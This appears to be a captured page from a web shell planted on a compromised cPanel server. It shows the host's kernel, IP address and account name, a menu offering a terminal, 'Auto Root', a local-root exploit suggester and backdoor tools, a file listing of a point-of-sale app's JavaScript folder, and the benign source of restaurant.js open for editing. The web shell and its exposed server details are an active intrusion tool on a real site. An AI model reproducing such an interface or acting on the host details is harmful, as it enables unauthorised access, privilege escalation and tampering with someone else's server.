Linux amd.servercpanel.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
LiteSpeed
Server IP : 161.248.188.165 & Your IP : 216.73.216.219
Domains :
Cant Read [ /etc/named.conf ]
User : oishifashion
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
oishifashion /
ap.tsgbd.com /
public /
js /
Delete
Unzip
Name
Size
Permission
Date
Action
icons
[ DIR ]
drwxr-xr-x
2025-12-16 02:00
lang
[ DIR ]
drwxr-xr-x
2025-12-16 02:00
skins
[ DIR ]
drwxr-xr-x
2025-12-16 02:00
tailwind
[ DIR ]
drwxr-xr-x
2025-12-16 02:00
app.js
97.32
KB
-rw-r--r--
2025-12-16 02:00
common.js
24.9
KB
-rw-r--r--
2025-12-16 02:00
documents_and_note.js
5.47
KB
-rw-r--r--
2025-12-16 02:00
functions.js
15.94
KB
-rw-r--r--
2025-12-16 02:00
help-tour.js
4.14
KB
-rw-r--r--
2025-12-16 02:00
home.js
8.91
KB
-rw-r--r--
2025-12-16 02:00
init.js
2.99
MB
-rw-r--r--
2025-12-16 02:00
init.js.LICENSE.txt
1.56
KB
-rw-r--r--
2025-12-16 02:00
labels.js
3.43
KB
-rw-r--r--
2025-12-16 02:00
login.js
5.61
KB
-rw-r--r--
2025-12-16 02:00
opening_stock.js
3.2
KB
-rw-r--r--
2025-12-16 02:00
payment.js
7.51
KB
-rw-r--r--
2025-12-16 02:00
pos.js
123.04
KB
-rw-r--r--
2025-12-16 02:00
printer.js
423
B
-rw-r--r--
2025-12-16 02:00
product.js
27.83
KB
-rw-r--r--
2025-12-16 02:00
purchase.js
51.35
KB
-rw-r--r--
2025-12-16 02:00
purchase_return.js
7.58
KB
-rw-r--r--
2025-12-16 02:00
report.js
76.38
KB
-rw-r--r--
2025-12-16 02:00
restaurant.js
4.13
KB
-rw-r--r--
2025-12-16 02:00
sell_return.js
3.13
KB
-rw-r--r--
2025-12-16 02:00
stock_adjustment.js
7.24
KB
-rw-r--r--
2025-12-16 02:00
stock_transfer.js
13.35
KB
-rw-r--r--
2025-12-16 02:00
vendor.js
8.21
MB
-rw-r--r--
2025-12-16 02:00
Save
Rename
$(document).ready(function() { //If location is set then show tables. getLocationTables($('input#location_id').val()); $('select#select_location_id').change(function() { var location_id = $(this).val(); getLocationTables(location_id); }); $(document).on('click', 'button.add_modifier', function() { var checkbox = $(this) .closest('div.modal-content') .find('input:checked'); selected = []; checkbox.each(function() { selected.push($(this).val()); }); var index = $(this) .closest('div.modal-content') .find('input.index') .val(); var quantity = __read_number($(this).closest('tr').find('input.pos_quantity')); add_selected_modifiers(selected, index, quantity); }); $(document).on('click', '#refresh_orders', function() { refresh_orders(); }); //Auto refresh orders if ($('#refresh_orders').length > 0) { var refresh_interval = parseInt($('#__orders_refresh_interval').val()) * 1000; setInterval(function(){ refresh_orders(); }, refresh_interval); } }); function getLocationTables(location_id) { var transaction_id = $('span#restaurant_module_span').data('transaction_id'); if (location_id != '') { $.ajax({ method: 'GET', url: '/modules/data/get-pos-details', data: { location_id: location_id, transaction_id: transaction_id }, dataType: 'html', success: function(result) { $('span#restaurant_module_span').html(result); //REPAIR MODULE:set technician from repair module if ($("#repair_technician").length) { $("select#res_waiter_id").val($("#repair_technician").val()).change(); } }, }); } } function add_selected_modifiers(selected, index, quantity = 1) { if (selected.length > 0) { $.ajax({ method: 'GET', url: $('button.add_modifier').data('url'), data: { selected: selected, index: index, quantity: quantity }, dataType: 'html', success: function(result) { if (result != '') { $('table#pos_table tbody') .find('tr') .each(function() { if ($(this).data('row_index') == index) { $(this) .find('td:first .selected_modifiers') .html(result); return false; } }); //Update total price. pos_total_row(); } }, }); } else { $('table#pos_table tbody') .find('tr') .each(function() { if ($(this).data('row_index') == index) { $(this) .find('td:first .selected_modifiers') .html(''); return false; } }); //Update total price. pos_total_row(); } } function refresh_orders() { $('.overlay').removeClass('hide'); var orders_for = $('input#orders_for').val(); var service_staff_id = ''; if ($('select#service_staff_id').val()) { service_staff_id = $('select#service_staff_id').val(); } $.ajax({ method: 'POST', url: '/modules/refresh-orders-list', data: { orders_for: orders_for, service_staff_id: service_staff_id }, dataType: 'html', success: function(data) { $('#orders_div').html(data); $('.overlay').addClass('hide'); }, }); $.ajax({ method: 'POST', url: '/modules/refresh-line-orders-list', data: { orders_for: orders_for, service_staff_id: service_staff_id }, dataType: 'html', success: function(data) { $('#line_orders_div').html(data); $('.overlay').addClass('hide'); }, }); }